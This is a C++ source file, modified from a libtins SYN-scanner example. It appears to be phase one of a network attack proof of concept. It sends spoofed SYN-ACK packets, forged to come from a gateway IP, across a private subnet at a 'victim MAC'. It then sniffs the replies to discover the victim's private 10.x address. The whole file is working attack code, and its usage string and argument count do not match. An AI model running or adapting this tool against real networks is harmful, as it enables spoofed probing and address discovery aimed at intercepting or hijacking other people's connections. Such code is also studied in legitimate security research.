/*
 * Modified from http://libtins.github.io/examples/syn-scanner/
 *
 * INCLUDED COPYRIGHT
 * Copyright (c) 2016, Matias Fontanini
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are
 * met:
 *
 * * Redistributions of source code must retain the above copyright
 *   notice, this list of conditions and the following disclaimer.
 * * Redistributions in binary form must reproduce the above
 *   copyright notice, this list of conditions and the following disclaimer
 *   in the documentation and/or other materials provided with the
 *   distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
 * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
 * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
 * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
 * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
 * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
 * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 */

#include <iostream>
#include <iomanip>
#include <vector>
#include <set>
#include <string>
#include <cstdlib>
#include <pthread.h>
#include <unistd.h>
#include <tins/tins.h>
#include <tins/ip.h>
#include <tins/tcp.h>
#include <tins/ip_address.h>
#include <tins/ethernetII.h>
#include <tins/network_interface.h>
#include <tins/sniffer.h>
#include <tins/utils.h>
#include <tins/packet_sender.h>

using std::cout;
using std::endl;
using std::vector;
using std::pair;
using std::setw;
using std::string;
using std::set;
using std::runtime_error;

using namespace Tins;

typedef pair<Sniffer*, string> sniffer_data;

std::string vip;
std::string gwip;

bool verbose = false;


class Scanner {
public:
    Scanner(NetworkInterface& interface,
		    std::string dest_mac,
		    std::string source_mac,
		    std::string gateway_ip,
		    std::string private_ip,
		    std::string private_ip_subnet_mask,
		    int sport,
		    int dport);

    void run();
private:
    void send_synacks();
    bool callback(PDU& pdu);
    static void* thread_proc(void* param);
    void launch_sniffer();
    NetworkInterface iface;
    std::string dst_mac;
    std::string src_mac;
    std::string src_ip;
    std::string victim_ip;
    std::string victim_subnet;
    int sport;
    int dport;
    Sniffer sniffer;
};

Scanner::Scanner(NetworkInterface& interface,
		std::string dest_mac,
		std::string source_mac,
		std::string gateway_ip,
		std::string private_ip,
		std::string private_ip_subnet_mask,
		int src_port,
		int dst_port) : iface(interface), dst_mac(dest_mac), src_mac(source_mac), src_ip(gateway_ip), victim_ip(private_ip), victim_subnet(private_ip_subnet_mask), sport(src_port), dport(dst_port),sniffer(interface.name()) {

}

void* Scanner::thread_proc(void* param) {
    Scanner* data = (Scanner*)param;
    data->launch_sniffer();
    return 0;
}

void Scanner::launch_sniffer() {
    sniffer.sniff_loop(make_sniffer_handler(this, &Scanner::callback));
}

/* Our scan handler. This will receive SYN-ACKS and inform us
 * the scanned port's status.
 */
bool Scanner::callback(PDU& pdu) {
	// Find the layers we want.
	const IP &ip = pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
	const TCP &tcp = pdu.rfind_pdu<TCP>(); // Grab TCP layer
	static int total_seen = 0;
	if (ip.src_addr().to_string().rfind("10.", 0) == 0 && tcp.sport() != 22) {
		if (verbose) std::cout << "Victim IP is:";
    std::cout << ip.src_addr() << "\n";
		vip = ip.src_addr();
		total_seen += 1;
		if (total_seen > 0) {
		return false;

		}
	}
	return true;
}

void Scanner::run() {
    pthread_t thread;
    // Launch our sniff thread.
    pthread_create(&thread, 0, &Scanner::thread_proc, this);
    // Start sending SYNs to port.
    send_synacks();

    // Wait for our sniffer.
    void* dummy;
    pthread_join(thread, &dummy);
}

// Send syn acks to the given ip address, using the destination ports provided.
void Scanner::send_synacks() {
	// Retrieve the addresses.
	PacketSender sender;
	IPv4Range ip_range = IPv4Range::from_mask(victim_ip, victim_subnet);


	for (const IPv4Address &addr : ip_range) {
		EthernetII pkt = EthernetII(dst_mac, src_mac) / IP(addr, src_ip) / TCP(dport, sport);
		TCP& tcp = pkt.rfind_pdu<TCP>();
		tcp.set_flag(TCP::ACK, 1);
		tcp.set_flag(TCP::SYN, 1);
		if (verbose) std::cout <<  "Sending to IP:" << addr << std::endl;
		sender.send(pkt, iface);
		sender.send(pkt, iface);
		usleep(10);
	}

}

void scan(int argc, char* argv[]) {
	std::string dst_mac = argv[1]; // victim MAC address
	std::string src_mac = ""; // src mac does not matter
	std::string private_ip_subnet = argv[2];
	std::string private_ip_subnet_mask = argv[3];
	gwip = argv[4]; // IP of server that client is talking to
	
	int sport = 80; // source, dest port for phase-1 are arbitrary
	int dport = 80;


	IPv4Address ip(gwip);
	// Resolve the interface which will be our gateway
	NetworkInterface iface(ip);
	if (verbose) cout << "Sniffing on interface: " << iface.name() << endl;
	// Consume arguments
	Scanner scanner(iface, dst_mac, src_mac, gwip, private_ip_subnet,
			private_ip_subnet_mask, sport, dport);
	scanner.run();
}

int main(int argc, char* argv[]) {
	if (argc != 6) {
		std::cout << "usage: ./send <DST_MAC> <PRIVATE IP SUBNET> <PRIVATE IP SUBNET MASK> <SOUCE IP> <IFACE>\n";
		exit(-1);
	}
    try {
        scan(argc, argv);
    }
    catch(runtime_error& ex) {
        cout << "Error - " << ex.what() << endl;
    }
}